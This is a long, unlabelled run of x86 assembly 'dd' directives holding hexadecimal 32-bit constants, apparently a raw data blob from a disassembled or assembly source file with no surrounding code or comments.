dd 0B4020028h, 0CDA046DAh, 0D1029E9Dh, 80EA2A3Dh, 33034107h
dd 8CE4EE21h, 0AB8B1EA7h, 0D7880B6h, 1584774Eh, 8A411009h
dd 1DCC80F2h, 0B45DEBh, 8CC946D8h, 1F30A67h, 4FB8527Ch
dd 715D8A0h, 9D1D3207h, 0B3A0B20Bh, 0AB03F0h, 98B9E454h
dd 0FDF280D9h, 3D2F7516h, 0C13872E8h, 302E6D01h, 0F4401D65h
dd 70967DFh, 0F747E8h, 90D471D9h, 438008Bh, 8E39B5EFh
dd 0F40081A0h, 94B2AFBBh, 9E1B389h, 0FDE969E2h, 61079A8Bh
dd 591E8070h, 1700D257h, 0B40B8392h, 62ADEFh, 38520955h
dd 64BE4B1Eh, 0FF009777h, 0DBF7F108h, 0C6AB88h, 65685FE9h
dd 0E3BDBC24h, 1918BF00h, 92504623h, 80B0CAh, 8297D46Bh
dd 0B7C77559h, 0C80E89F6h, 60813E63h, 5C912E92h, 979A374Dh
dd 30E5D081h, 274F51CDh, 160011ECh, 8679011Bh, 0D703F102h
dd 0CD7415F4h, 53BCF043h, 0EA9F0016h, 4F285234h, 0B30084EDh
dd 8C27D82Fh, 464A0C8h, 50966D4Dh, 10B8C7D0h, 0C45401C5h
dd 8BB52100h, 5E56D185h, 0CE940728h, 80F99BA0h, 3A93B799h
dd 0E9608D1Fh, 76E02C87h, 0A8153413h, 0BFDF3Fh, 0A4EAD31Eh
dd 4FF33BC5h, 3CF148h, 80B5318Eh, 0AA79C6h, 0A5C80141h
dd 18137392h, 41292630h, 0BB0A42h, 0B146A2F9h, 0E6E47AA6h
dd 5F503000h, 0D217D66Fh, 7B900Bh, 2008708Ch, 0C6D763B8h
dd 0B6500F01h, 7443A8A2h, 0EC4C44D2h, 82F81Ah, 0A171DDE3h
dd 502152A5h, 9F311500h, 248AF0C9h, 85BD0774h, 600634CAh
dd 949312B1h, 0F600AC7Ch, 8C2399F5h, 13D55D1h, 0C1956A19h
dd 0C0C592EBh, 4600F725h, 6FD79B8h, 1EA86188h, 3D8FB285h
dd 923FDB0Fh, 9B7E6700h, 0DC00B719h, 0EFBC7839h, 0CCB356h
dd 0FFBA36D5h, 0F790C80Bh, 58031F5Ch, 0C03A7Bh, 0BA6414F8h
dd 77D352h, 0EFD49882h, 7D204BCBh, 0D7391A00h, 6F56E8FBh
dd 0C098AACFh, 531AC92h, 0F5B93835h, 0E638827Fh, 6B82D060h
dd 8B509F01h, 0F36F6D8Ch, 0B59D420h, 385A7EF5h, 0BB78A800h
dd 510044A9h, 0CC128FA2h, 0FB9701Dh, 67476CCDh, 969CB4C0h
dd 0F824E6ABh, 1E00208Bh, 0EC14385Ch, 96F55C99h, 804F1B1Ch
dd 91871889h, 0A80075F0h, 0FCAF6D10h, 3F26E855h, 0CB935C44h
dd 0F254032Ch, 67833163h, 0E3C114D8h, 1186230Fh, 0A4138019h
dd 0DBDE6Eh, 0AB7473E2h, 2F65E04Ah, 0BE798D00h, 85C927D9h
dd 9D201498h, 310081A6h, 0EB47D69h, 0EAF80484h, 59A480A0h
dd 0D00038E8h, 182CF431h, 6C079Eh, 5AE2BD37h, 28C564Eh
dd 8A681200h, 0EF9E50E8h
dd 2657651h, 4C880C6Dh, 5CC07A1Dh, 3307FA57h, 0E218BDEDh
dd 0D69CAEB0h, 389A00C7h, 3D0FF706h, 0C601A1F0h, 806FA69Bh
dd 9F60A92Ah, 4BC30044h, 8FB355F1h, 0F6F8E50Dh, 20EDFD7Bh
dd 6A00C9E4h, 0BE4A5441h, 0DF4250h, 2FA87B98h, 0DCB9A3ECh
dd 0C93DF006h, 48C69Bh, 72C78C13h, 870269AEh, 2F6A6D00h
dd 4BE49C3h, 8CB107C0h, 0E0C2EA79h, 0D103198Ah, 0E74F2F00h
dd 56A59F5Fh, 953F00CDh, 80C39847h, 701F16E4h, 8AC2C40Eh
dd 409B7F5Ah, 73418E83h, 53AF851h, 44C1AB31h, 83804059h
dd 6695B7Dh, 48660F00h, 0B71D2694h, 9B3300D9h, 0DD05E7BCh
dd 7607277Fh, 1A5C6F7Ah, 5BF93040h, 3E8E0036h, 0B7BE1CFCh
dd 50053EAh, 42EDA012h, 3F094D3Ch, 0D00EC32h, 5D3B2EE7h
dd 2500E250h, 0F6B2A2ABh, 170487FFh, 43B19Bh, 0D930BB48h
dd 740008E3h, 0CC965AECh, 592F5D4h, 24976EBFh, 3EC081A1h
dd 94B9F818h, 66088304h, 9490688Bh, 50CE7h, 917355ABh
dd 847BA882h, 0E8B0FA51h, 9E00A1F1h, 1D341829h, 0A2114Ch
dd 76B53FEBh, 0A352E016h, 0C8E92A24h, 600B2888h, 4F8E83F6h
dd 13041600h, 0E462F550h, 4DB4336Ch, 8A900F48h, 8E7A48C0h
dd 80CF603h, 0C0EA4CCBh, 9036263h, 2B9A2934h, 90B9AC02h
dd 8BDBA048h, 0BDF6222Eh, 3CDD8F05h, 57D045C0h, 1C90E8h
dd 92645182h, 0D22409B6h, 8466283Ch, 10021805h, 0B080F784h
dd 6C4222h, 292DB1E0h, 0AC7BFC38h, 88434104h, 2480A8D8h
dd 3CD942A7h, 2127823h, 7D64C046h, 0F3008AAEh, 45900E0Dh
dd 0CED2C8h, 53B8C224h, 226136AAh, 0A7C5000h, 0A3766540h
dd 0DBEA55h, 696DBB32h, 0EB9160EFh, 865BA807h, 0A6E49790h
dd 0E2C0F184h, 0DB2DEh, 0FA18F406h, 0B5CAFF72h, 2A9D9400h
dd 4CC17B78h, 3CC70063h, 4FB99219h, 800A756h, 94D633E5h
dd 98D5EAh, 1F4821C6h, 16C5D39h, 5FFA6100h, 0CC356FB6h
dd 0F0E4E812h, 89553E2Bh, 0B052F180h, 6182FE36h, 750EDF00h
dd 151A56E5h, 0D6B4A049h, 2FC100ADh, 76CBAAE7h, 7E12025Bh
dd 5831335Eh, 2416C5h, 0DE8C0EBAh, 335C8Bh, 0EC0545Ah
dd 6800D5ABh, 96BCACAFh, 37173Ch, 71D4391Bh, 0BAA25B25h
dd 0B4B07704h, 10C0B69Fh, 0F52A61Ch, 0C827780Eh, 350A110Bh
dd 0EDAB02B4h, 5C60E923h, 580322A9h, 0F6644ACCh, 1386E80Dh
dd 0D30F005Dh, 0BC2CF180h, 242C9DE8h, 83383714h, 10EE2650h
dd 22798882h, 64B50E7Fh, 0DA96235h, 0C0968F04h, 5D77DF60h
dd 9C0029B8h, 0C70F8C7Bh, 0F7F1D64Ah, 2487A060h, 18AB2A76h
dd 7B0105Fh, 0AC000479h, 32E14C1Ah, 756CE9h, 183BA212h
dd 0AFD9EB86h, 28D1C60Fh, 0DA49C06Eh, 37824Ah, 0C9B55870h
dd 0E17D188Ah, 341ECA00h, 15598EB0h, 480B00D6h, 4756BCBBh
dd 10076485h, 2D085C26h, 0FA8763D0h, 0FF290D8h, 14629C75h
dd 0F3E807Fh, 0B8EE8940h, 97121375h, 0A44073BAh, 6187B1E3h
dd 14220794h, 38BE68h, 1733F39Ch, 0E0AADD00h, 525ACB9Dh
dd 8F810039h, 0BF3F402Ch, 17005366h, 41E5566Ch, 0B38FA9Bh
dd 0D4E4CC8Eh, 0A39FBC80h, 0F2092602h, 8275C3E9h, 0C5831B34h
dd 0D65D00D0h, 11211508h, 0D203ADEEh, 1EC8431Bh, 0A40085CCh
dd 83B63E46h, 4DB30029h, 0DB0753EFh, 0D1583417h, 0CF67809Ch
dd 0BF4BD7Ch, 3125CF0h, 48C8B00h, 75002689h, 0AE5FEABEh
dd 43DF7Bh, 0F6F3B36Bh, 0E5D860B9h, 9275EC00h, 0B41F87E4h
dd 17953CB5h, 0F407B200h, 2242FF11h, 0EB76FA00h, 0F69A05C1h
dd 9E7820h, 715444Bh, 0DED7829Fh, 809DF73Ah, 0F2A7EEAh
dd 79837Fh, 3A6E681Ch, 12D4EC37h, 69013C00h, 0AA03EEB2h
dd 0A13B00F3h, 0AB570782h, 8100F965h, 0BD5296E1h, 91567D7h
dd 0E4669FB2h, 2A717801h, 93E7F4F8h, 896D403Bh, 80DEC85Eh
dd 8A37A354h, 0AE3A128Bh, 6B840041h, 53B7FA8Dh, 0F40054EEh
dd 0DD810612h, 0C949C2h, 0A8B831Dh, 4FCA8E20h, 19039D72h
dd 46E2341Ah, 0FB2005CFh, 0C78476FDh, 176D3000h, 89188115h
dd 7A90D1F7h, 7F241E59h, 0E7183F7Dh, 0F6D30871h, 41B10F67h
dd 0F2AB23C0h, 2E7000EBh, 2483056h, 0A1E89DA5h, 0CC0A900h
dd 0ABFBE7F9h, 16CF8CDh, 7E58F336h, 0E09933F4h, 0FF014B95h
dd 30675660h, 0AC683AACh, 9299B00h, 8C723C84h, 0C00BFFF4h
dd 8189F4DCh, 3327F188h, 30515440h, 53141F9Fh, 0D2B90A4Eh
dd 7B6E0260h, 5100A17Dh, 4885C7CDh, 79248945h, 7A2D0037h
dd 0D34CDE37h, 0E4F70300h, 3F0A5469h, 0D056004Ah, 0E9492AD9h
dd 4400160Eh, 394F0513h, 0E4B1031Fh, 0A80B008Dh, 0CACC5620h
dd 341BFD3Bh, 65DA3h, 3176A41Eh, 93E065F6h, 9DC87200h
dd 82D051A0h, 0F03C4B90h, 1BF0533Ah, 0FB0E258h, 0A6490284h
dd 3620D824h, 0D130A535h, 963A20C2h, 204400E6h, 40C07DB5h
dd 7C38A721h, 1329C02Fh, 81033719h, 0D1160D06h, 3008BAACh
dd 0E9209AA0h, 0B400370Ch, 0DE4B5365h, 838B5Dh, 0E044E36h
dd 7DC801F7h, 0EBCCA000h, 6350AB7Bh, 4721004Fh, 0CD15684Bh
dd 0AA7CF111h, 79EB6C3Ah, 2002190h, 0EC034047h, 1796C4h
dd 0CBCD2071h, 81AEEAD5h, 0EE3F9307h, 45B0A819h, 51BBEDh
dd 0D5F87AAAh, 0C42F5244h, 0BD1C63F4h, 0C0403EEAh, 4CCCB353h
dd 79A3005Bh, 62838636h, 1E006DD2h, 0BDEB2CCFh, 4AE898h
dd 78205203h, 2F5F2DABh, 726CEE00h, 91D13B38h, 7B6304E8h
dd 80803E17h, 32CAB481h, 4AAC9E00h, 0B928B0C0h, 99820007h
dd 0E7EEF7CCh, 0ED006191h, 251D9001h, 0D44C6h, 4F7BAC86h
dd 947F2797h, 752EB000h, 314E4DD2h, 8E621DA9h, 0C1768024h
dd 7CC3A461h, 0C7F35F00h, 0F5FA690Ah, 0F052583Fh, 435AF71Ch
dd 0C817548Dh, 5C1C67D8h, 240094E6h, 0A8837653h, 0F0D6D389h
dd 0F4BE00EAh, 0CE2B2565h, 0C71E9CB4h, 0C0407405h, 76AF4E88h
dd 815E1DD9h, 957CDE1Fh, 6D00982Ah, 0D06084E3h, 0AF004A0Ah
dd 0E79BCE87h, 0E7AF2BEh, 796568C2h, 7BA0E5AFh, 7C9096AAh
dd 0B538B1Dh, 491480BAh, 32E7A057h, 5B20E7Bh, 0BB2F8DDFh
dd 94BE74C0h, 9D07E3C2h, 9FB712B8h, 0E8C04264h, 0C47BEE05h
dd 5EBDD829h, 4F21BCD1h, 5022131Eh, 0E331280Ch, 0BA104B12h
dd 411089C0h, 1130F214h, 4111C797h, 82C41290h, 25201A3Ch
dd 25140813h, 22BCE842h, 0FF2433B6h, 13B59121h, 0B351009Ch
dd 0D595D6E6h, 0C07E6E08h, 40B3958h, 600E357Dh, 13283580h
dd 4FB3077Eh, 904EAEF9h, 0E9D48129h, 0F696B100h, 0E73ABA0Ch
dd 0EFC30024h, 0B4BF34FBh, 9D0F058Ah, 0BB751h, 81195EE4h
dd 0CB4D043Fh, 80A8100Ch, 6B599151h, 77004E74h, 2CF2993Dh
dd 0C0CBB0D7h, 4931F91Eh, 0E013BEA6h, 0BC02C67Fh, 4016C721h
dd 6E10B1h, 68D103E4h, 0C12D65DCh, 9747B00h, 0FF4AE14Fh
dd 4957005Dh, 0B3BBECB9h, 8D0365A2h, 623BD452h, 0D6DBD0FEh
dd 1A630090h, 0DF3CFCBEh, 0A90003ACh, 2DB28909h, 0D79D55h
dd 68DB611h, 9192E287h, 2EE2B1Eh, 7E8941C0h, 1FC1CC3Eh
dd 4BCF75h, 8A246DC4h, 40007B09h, 161EF9FAh, 3CB5774Fh
dd 4B00B0E8h, 0DE5B1DF8h, 83B640Eh, 88D35Dh, 4E579E8Dh
dd 6BF3CDh, 6358E831h, 5E5B562h, 0AB26E00h, 8540B893h
dd 18DD60h, 0C20217F7h, 0D600549Ch, 1C1D8F45h, 5C2DCFh
dd 4CF0C8ABh, 0E5804B77h, 9C335400h, 0B425B9FDh, 93560072h
dd 264296E7h, 0C5004D65h
dd 6A3EEE4Ah, 62F90Bh, 0E6F48B3Bh, 18340DA0h, 33DCA314h
dd 4CB100B4h, 0C279C95h, 59B600C0h, 0DDE8EA8Fh, 5702600Fh
dd 2F13BBFAh, 870743D0h, 14481C90h, 0F34A007Ch, 5D5A5E93h
dd 0ED008EB5h, 0D226662Fh, 0A9AA4Eh, 78987758h, 74AF8CAEh
dd 0CA7CC200h, 666FA863h, 0EABC0080h, 1C601ECDh, 68003ED7h
dd 0D2287D6h, 28D2A9B3h, 0A0B85384h, 7ED75B15h, 2DAE03F6h
dd 6361BC3Dh, 62C2A5E0h, 0F4D18007h, 0FD80E188h, 5C2DC532h
dd 8D00DF1Ah, 0AC05155h, 0CD00C46Fh, 8B2CAD78h, 4ED017h
dd 0AAE31CD4h, 603F7B37h, 6878FA09h, 0C0400EAFh, 461C5AC4h
dd 8BA900EBh, 99ED3676h, 643E65A6h, 0E6F30545h, 9CC5C19Bh
dd 0B620800h, 0A70E1h, 879CF2A7h, 1C72028Bh, 461FE700h
dd 1A4FDE40h, 3B820363h, 0F564608Ah, 294A1E00h, 995AE6C1h
dd 70B700A8h, 0C691161Bh, 7F017C03h, 0E345F5BCh, 0D3C84C19h
dd 0B4FF0198h, 637722DDh, 8734208Ch, 0A2B07F00h, 72518F6Eh
dd 36030019h, 24A09F33h, 0BA00B561h, 1B4D44B8h, 65DFE3h
dd 37C5627Dh, 3E14EC19h, 2CBFE100h, 0EBD027D3h, 6E77ACh
dd 0CC081C10h, 0C96201D5h, 0DCB65903h, 3CD716h, 67065130h
dd 13F01ACEh, 82700A02h, 601E97C4h, 1B7E7CCh, 0BA1B6BECh
dd 0DC1CA346h, 5DFA0B38h, 0BF436700h, 0B31EF409h, 5CCF008Fh
dd 0CE190F34h, 3670FE9Eh, 0C00147E4h, 3AB7459Ch, 0B3F0688Fh
dd 0FBD40064h, 0A5EC71B2h, 10302F2h, 38F3174Eh, 0E270B8E8h
dd 589BB7h, 71C7561Fh, 0D400D8C0h, 2055E12Eh, 0A7A9F2h
dd 4FA94E7h, 1D7D3D7Fh, 0ACDE8101h, 0E6C08458h, 0E74024h
dd 0D4360889h, 0DD754A67h, 635B2813h, 0C7527800h, 72769Fh
dd 5AFE4F46h, 427B9C0h, 620F3B00h, 0D79ACC8Bh, 5CF50052h
dd 0F6A93FA5h, 8E008678h, 14AD423Ch, 1E889FDFh, 401987F9h
dd 0E5CEB097h, 0AF266FEEh, 4B804166h, 3978857Eh, 0D9B81FA6h
dd 4E0E3FE9h, 0CC6007AEh, 29793132h, 75220500h, 0A2AD505Ah
dd 0E934159Fh, 2F00C83Eh, 42B90FDFh, 0C7F68AA1h, 0E4521400h
dd 5AAAA5D9h, 16320E67h, 0D2BEEE77h, 0A30F0F6Fh, 2EC6EAC0h
dd 701FFDBDh, 0DF80B4F8h, 4613A745h, 0D4650067h, 1609FA43h
dd 17BA65Eh, 0CAABCF00h, 7694B687h, 9D4F00DFh, 0C3AC0543h
dd 0F13B98B3h, 0E4810F92h, 0C671E0CBh, 0C7E81Dh, 585B8C54h
dd 628FAAA3h, 0A526D400h, 0AB2A16CAh, 0AA20004h, 630E93AFh
dd 0EB021725h, 3F7F3507h, 10286071h, 768DFC7Dh, 900D04DCh
dd 0FE0318E4h, 0B1B5A880h, 70709D37h, 0A331FD62h, 3E14614Ah
dd 39EFFCh, 0F04DCA32h, 2705A501h, 632C9098h, 69404410h
dd 1B948CCh, 3D12B4A8h, 21C3B056h, 0C6FBFC7Fh, 0F27C1674h
dd 72338B00h, 0F30DC0E4h, 0A85504A5h, 0C0D527A9h, 8952825Fh
dd 0F130FE60h, 0C82241h, 2886297Ch, 8C13D24Dh, 0C3730300h
dd 44B75712h, 7DB84CD9h, 0F64832Ch, 0F9DE300Ch, 20B6E867h
dd 35C710D1h, 52370B00h, 0F238E980h, 61F31FF7h, 8FB5001Dh
dd 8C5E90AEh, 0B97CE300h, 0CB66D3CFh, 0CE2009Dh, 2B52BE57h
dd 0BC003F82h, 185C3BCCh, 7842B822h, 7DA607B0h, 0F0D9361Fh
dd 0A73D8050h, 9969C01h, 5371A0E1h, 9873B5ECh, 7EAC00E0h
dd 0FE67532h, 58C0C0D7h, 0CD180CE8h, 3E72002Ah, 0D4979242h
dd 38C04E16h, 8AAD9917h, 905A00C7h, 0BA68A79Bh, 0DEE27D0Fh
dd 4A65C300h, 4997B6DAh, 884400D7h, 5A071FA8h, 0EE00CEFEh
dd 0D5BD083Ch, 7464E5Dh, 0F87FFDCBh, 48A20932h, 0AF0023BFh
dd 1C39595Fh, 0C0DA21BAh, 63D19448h, 7A172660h, 8440E8DBh
dd 0F567C8FAh, 23B73F44h, 0A34B0276h, 2AEF943Ch, 0F0C7A8E9h
dd 8C76C585h, 7EC3D401h, 68D5E48Ah, 20E2C20h, 0EC9DAA09h
dd 1460E1B4h, 16004DB7h, 56E832DFh, 26552777h, 814CF9h
dd 6C363B89h, 59727CBEh, 9E7EC000h, 5B427776h, 0F39A075Ah
dd 6431D3F2h, 0A7B887AFh, 9199D07Fh, 110090D1h, 0C53FF9C3h
dd 367CA8h, 0B5B4BA8Fh, 0A502546h, 11DD2000h, 28665C0Eh
dd 7C5F0008h, 28E1C51h, 0F2381432h, 2F9E807Fh, 2DB7E1B9h
dd 0DB30176h, 2C85331Dh, 0A5842020h, 0F1415105h, 8C8067BAh
dd 3C68BAEh, 0BC1BCF0Dh, 0E0094E5Ah, 8063E3D5h, 1C90B376h
dd 3AD80043h, 0C85ACFE7h, 8B725154h, 6239137Ch, 7B145C22h
dd 78CC7300h, 8B9B8EA2h, 329000A5h, 9247D31Dh, 0A82ED16Dh
dd 1044A28h, 10A19427h, 4D7818EEh, 5B580h, 271F6652h, 476FBD48h
dd 0D543E10Fh, 13D46019h, 0CA8598h, 0D3EB8873h, 52A4BF71h
dd 2FFB1703h, 784B8428h, 603E3B28h, 3A4AD880h, 0B0154C81h
dd 5C767C90h, 0F4ABE200h, 0DA922557h, 3AA27C77h, 6A0047EBh
dd 2384AE06h, 4F03F582h, 0A0C7857h, 9C40AF61h, 0B27C19h
dd 7D802CFBh, 5EC1CDF2h, 45BD0500h, 0D3819598h, 5DA403FEh
dd 0B2D4AAFh, 5C01E8CEh, 7A3141BCh, 0B3D4848Fh, 0D21B01E7h
dd 4922AE23h, 2F442479h, 787E0E17h, 0EEC85400h, 0F1BECEh
dd 0AACF0AACh, 0CD942532h, 0C4D48500h, 26E4E75Eh, 351E03F6h
dd 5AD16F1Ch, 172DB2F0h, 4FF0681Fh, 0FAA7A6C4h, 0D1DBFC80h
dd 8CCF16A3h, 0EC8C4F7Eh, 45FEC0E7h, 9BC0405Dh, 883A0F8Fh
dd 0D6C67000h, 0A2C57DCFh, 0C9640173h, 0A992BBF6h, 88CFC8Dh
dd 1A000B8h, 310301DFh, 5FAD7E82h, 8BF89120h, 76381860h
dd 4C790732h, 9BC91E1Bh, 30AEB00h, 6324D5A1h, 4300EC1Ah
dd 5DB56093h, 0D72B0076h, 4FFDA8ECh, 4B004A14h, 0C2C59877h
dd 0FA46F22h, 43F1948Bh, 8702BA60h, 900050F2h, 99D43EDBh
dd 10DDE68Ch, 8F0130h, 0CB63B77h, 3054F0E1h, 30843543h
dd 0E509BD58h, 69388Fh, 18456CF8h, 37CB005Eh, 754FE087h
dd 28006DEEh, 1FE18157h, 115A3B1h, 7388ACEh, 20444202h
dd 88528D64h, 0E16983A8h, 4FDE8851h, 0DF02066Fh, 1050A453h
dd 0A2A64Ch, 0E629BC54h, 918FBBh, 92DEC1Bh, 693F6547h
dd 0A8110200h, 721F6B0Ch, 676200DDh, 0E7E93D87h, 0E0724D37h
dd 7DDF9203h, 0C054630Dh, 153F9B7h, 0ABB69712h, 208CB2F6h
dd 0F31E8004h, 2ACFFC4h, 74180F3Dh, 0F03FE0E0h, 1B82C49h
dd 3E48F350h, 34643184h, 3A18E70Ch, 832E6E39h, 0E3222855h
dd 261978A9h, 195C53h, 0B3034A3Ah, 0A8C0AB1Ah, 4154CEAEh
dd 6C5D009Fh, 7DEF1261h, 10F8B794h, 80BDBB3Eh, 0FA7F430h
dd 11DD5F0h, 0E4543D88h, 202985D2h, 1A20BB60h, 78DE167Bh
dd 0ACE04298h, 0CC68D787h, 0B35C3710h, 5300704Eh, 0BF0B517h
dd 6647E3h, 1129B95Bh, 0E4DEBB9Eh, 3461AD06h, 88DC50h
dd 33C20FD0h, 0AC519167h, 6EABF107h, 0D07C7043h, 35BC0018h
dd 0BF4479A9h, 0C0006310h, 88DD0BBDh, 0C089764h, 8B05317Ah
dd 7B0004A0h, 3E0AE39Ch, 7F96A16h, 338D3C7Fh, 99602F2Ch
dd 0C2044EF8h, 0AEF66400h, 0C501AA97h, 0AF6D0F26h, 29A0CFE6h
dd 2B6C070h, 123D760Ch, 1E4688A9h, 0C0EBD8E3h, 0CC094E45h
dd 0F21F22EAh, 541DFAB9h, 0A468C380h, 0A35BABh, 4A4899E2h
dd 92283F10h, 25CCAF00h, 8CE4EFDCh, 4B4C00B4h, 0B0079ED5h
dd 0F7002771h, 54F9A0A3h, 4BC7FF5h, 99FD3EC5h, 0D360875Bh
dd 6498D519h, 571FCC70h, 0EB403C40h, 5032ED21h, 1A870025h
dd 6964D479h, 0D8A4BC6Fh, 40770908h, 40D24426h, 963E380Dh
dd 0FFAF3B72h, 6FF90A80h, 81D88C22h, 1E80A75Ch, 0AD5FA389h
dd 7400A8D7h
dd 0A4188E5Ah, 4E6907BFh, 70F548EDh, 0D9069977h, 0ACD33F00h
dd 0BD03C488h, 5147105h, 0A078BBCh, 0FCDC1C32h, 9956D508h
dd 0DA31A001h, 88038E19h, 2E863DE0h, 9E1F2C00h, 3157AB9Dh
dd 0BF653E67h, 0ABC4080h, 8A7946D2h, 0BEA3EB00h, 8E6770C5h
dd 3B820066h, 6CABCCE6h, 9E116A8Bh, 0B22C39D9h, 2DC20FFh
dd 1D4DD174h, 0C681C6Ch, 6A00484Ah, 3B2D6EF2h, 372B28h
dd 1018D827h, 7986F7D6h, 8900327Bh, 0DF7F2107h, 0F228A4Fh
dd 46D16E1Eh, 97C080DDh, 473841A4h, 56A27113h, 0D3C200FEh
dd 58E7F5F2h, 12D4C600h, 77F1B573h, 1DED0E3Ch, 6D81A361h
dd 0E151A9B6h, 8E65D095h, 73E520Ah, 0B202D832h, 8F58E468h
dd 0EB90B90h, 1A61E0E4h, 1F432FC0h, 40CEEF4Bh, 0C20205DFh
dd 15286E45h, 0CC00F06Ah, 6556E5A8h, 9036C9A7h, 0FCC40493h
dd 90FBB0B5h, 99ED3508h, 905CA800h, 14FAA4A0h, 8A90968h
dd 0C0A09E4Fh, 0F8B49A09h, 5493C012h, 0ABDA8C80h, 1E1E7764h
dd 0C0D57FC6h, 3D606755h, 0EA010199h, 3E842B4Dh, 0E03E8C50h
dd 6B03C2F6h, 2444EFB4h, 0C47BAAF7h, 0BFD33CA4h, 0B214A180h
dd 0A3DA1FB5h, 0BBB88500h, 0D5BF408h, 0B88C062h, 8E357FBDh
dd 86106163h, 82BEE83Eh, 18D509E9h, 348060D2h, 8E5122B6h
dd 0B0916FFCh, 8CB6740h, 0AAD707D1h, 998DF3D4h, 0FC00468Bh
dd 15DFB944h, 4D0066FEh, 0B628421h, 410D20h, 69AE711Eh
dd 0FCD77BBCh, 4C6DA400h, 0D282B2D0h, 73C00019h, 13860F48h
dd 0B000440Bh, 321002EAh, 193E75h, 184FE5ECh, 0DDBD3ACAh
dd 2974AF00h, 55BB5A4Dh, 20EB62BEh, 8CE1650Ch, 83119E3Dh
dd 0EE8624C0h, 10BB6F8h, 0A12E0A4Eh, 0E4DC57E1h, 0EA00038Fh
dd 0A9636EE7h, 7260FCh, 0AEB7A299h, 6FF1F02Dh, 715BCF00h
dd 3108E597h, 0B0030010h, 287D3A88h, 9900E374h, 3060ECB3h
dd 9E2C0Bh, 1AA9AA54h, 453E246Ch, 0F1D3F200h, 0C364E9C1h
dd 11A890A7h, 0D439EAh, 0C0D09DCh, 77F55Ah, 0DDD66438h
dd 296F7D97h, 625E1900h, 0E2B92A78h, 0CB7B50h, 1B3CEEC3h
dd 9ADD1AEh, 40AA9C00h, 0F5BDD8B2h, 0DAF0051h, 8F906766h
dd 8000E99Fh, 1F0ABA5h, 0EC448Bh, 0AFC45669h, 57D47DF6h
dd 294C248h, 9FFE9399h, 0B750433Ah, 0E050C81h, 74B7C8FFh
dd 771C90CFh, 81180063h, 72CB70D7h, 6C00FA21h, 62FE8B10h
dd 3C3DE0B5h, 3689BB90h, 0F4865211h, 6F006026h, 9CBBC97h
dd 7D928D64h, 0E1C701B4h, 635F7C67h, 54D8FBA2h, 0CD00EAAEh
dd 1E5725A9h, 0FBCA7Ah, 16C6FC7Fh, 0EC3A02E2h, 0B875EF00h
dd 0DFBA3E31h, 187A0194h, 0E71ABED7h, 26FAD02Eh, 0E4001FE4h
dd 20E56C9Dh, 74B948h, 67F7477Dh, 0E1168544h, 3F00EC7Ch
dd 0D7A36927h, 0F59E4A6h, 0F8FF2672h, 0F3941360h, 80F3CBD0h
dd 57853558h, 26D2C1CCh, 8380399Dh, 9B09F9C0h, 0B09C00A5h
dd 29484BB1h, 0DA95E900h, 0C836260Dh, 881C3FCEh, 0F1E788E0h
dd 1D01A8ECh, 1FDFA99Bh, 0F2D8D5ACh, 0A6D7DD7h, 9D85106Fh
dd 87600A8h, 0CA1C7835h, 0BB3B4500h, 212E2933h, 5A9C3803h
dd 1EBDA300h, 0B5EB0A79h, 614D4F1Dh, 0AF5BFC01h, 0A2CCE046h
dd 7F3D7B7Fh, 0C98600ABh, 0A02E016Dh, 0E87C5575h, 0A59A4700h
dd 530F433h, 0BC100E1Fh, 0ADE1DA17h, 64FDD803h, 0E504A984h
dd 1C14611Ah, 0C1735890h, 0D64F4809h, 670A4209h, 0F0812C8Eh
dd 40541246h, 4DC19690h, 0D31C2A00h, 0A061F585h, 6B60000Eh
dd 0FC0A174Eh, 0CDF4E63Dh, 0C93F1601h, 0A21EB159h, 127B1080h
dd 0E1B7DE90h, 0C5973900h, 6F5AFF5Dh, 0ACD10CF7h, 328A186h
dd 24001FE0h, 83B19FD8h, 0A42EEFBh, 25B775ADh, 4DB40088h
dd 0F0C35726h, 1AAABF0Bh, 631022E6h, 866CC8ECh, 25D01756h
dd 7300875Eh, 99E83243h, 870062F4h, 4A7C4BC3h, 3CB65B7Fh
dd 598F4FDEh, 0BD63601Dh, 0F00049CEh, 0B2D571EFh, 24B90780h
dd 0C2C6Ch, 0B170F55Eh, 0ED07935Bh, 73806BD9h, 0BBBF59D0h
dd 2C01038Fh, 8205DA09h, 6E88AE1Eh, 0D452007Eh, 0DB3B34B6h
dd 89FE1Bh, 0EB414540h, 0B04DF99Bh, 5C00C57Eh, 6D9A118Fh
dd 38C0A71h, 90A22776h, 0DEA0A523h, 0A80096BCh, 0B0C73FD5h
dd 410FCh, 24737C35h, 0D71B979Dh, 90059212h, 58F7008Eh
dd 819FAE61h, 0D673F8h, 17DD107Ch, 0C8A198E0h, 1428F709h
dd 733C9849h, 2B4E80B9h, 1CA8A714h, 0D0E200E8h, 190F03E3h
dd 827900F1h, 0B6FE4149h, 0BF495485h, 559B070Ch, 0F4800F31h
dd 17AAC50h, 0C80EEDD4h, 0EC1C5BE9h, 0F0B0CC84h, 0DC0BF24Eh
dd 0ADAC105Dh, 0E87300ABh, 0B1339723h, 0BB4CC744h, 81FA1208h
dd 4A00101Dh, 0EF90082Eh, 0AACA3B70h, 0F8797394h, 4972C400h
dd 0C147EE6Ch, 18E80524h, 0D2E0C800h, 91535Ah, 889A8D61h
dd 0E3CE33EEh, 4A6FA81Fh, 230AAA80h, 5BFB949h, 2C752A0Bh
dd 0B5B48041h, 2F0084CCh, 6F4F456Ch, 0EF4E1Ah, 0B977FB3Ch
dd 0B2BCE307h, 0B82C3F00h, 18AC53F3h, 979C01C3h, 76703949h
dd 74F04088h, 0F33B80BFh, 0F9C3007Ah, 1DABAFA9h, 681C5823h
dd 3F02C938h, 0A67832D4h, 30DB1A40h, 1D1BD507h, 0A0EF769Fh
dd 6770FFD9h, 0ED052673h, 1F0204Dh, 0EBE8D2B6h, 60626F36h
dd 3D00DC40h, 32747B27h, 0B5722Bh, 6FED4D4Bh, 0FE6E665Fh
dd 5591B800h, 0D84FDFC7h, 7C411870h, 0CA57110Bh, 0BA92C017h
dd 0E6DEDC44h, 0F3C13881h, 1D5A9FCh, 0A8956EA7h, 703E3A56h
dd 5C09BD84h, 0A1DC872Ah, 59ECD5D0h, 57DFBECh, 0F8C69BE3h
dd 0B074C069h, 0CA05EF8Ch, 5C22240Eh, 2F166180h, 82700Fh
dd 28086A61h, 0A5F765A6h, 48A3B00h, 5CD5EF15h, 0E461001Bh
dd 0F1771C8Eh, 9000AAAFh, 6FD0A59Dh, 6EB7BCh, 9BD7D8BAh
dd 0B1E30F9Eh, 8200037Dh, 4F2CD320h, 3E9CD695h, 570035A8h
dd 0F2AF8612h, 0CD00EE64h, 0CF8BF087h, 83D80Fh, 0F8E2BF44h
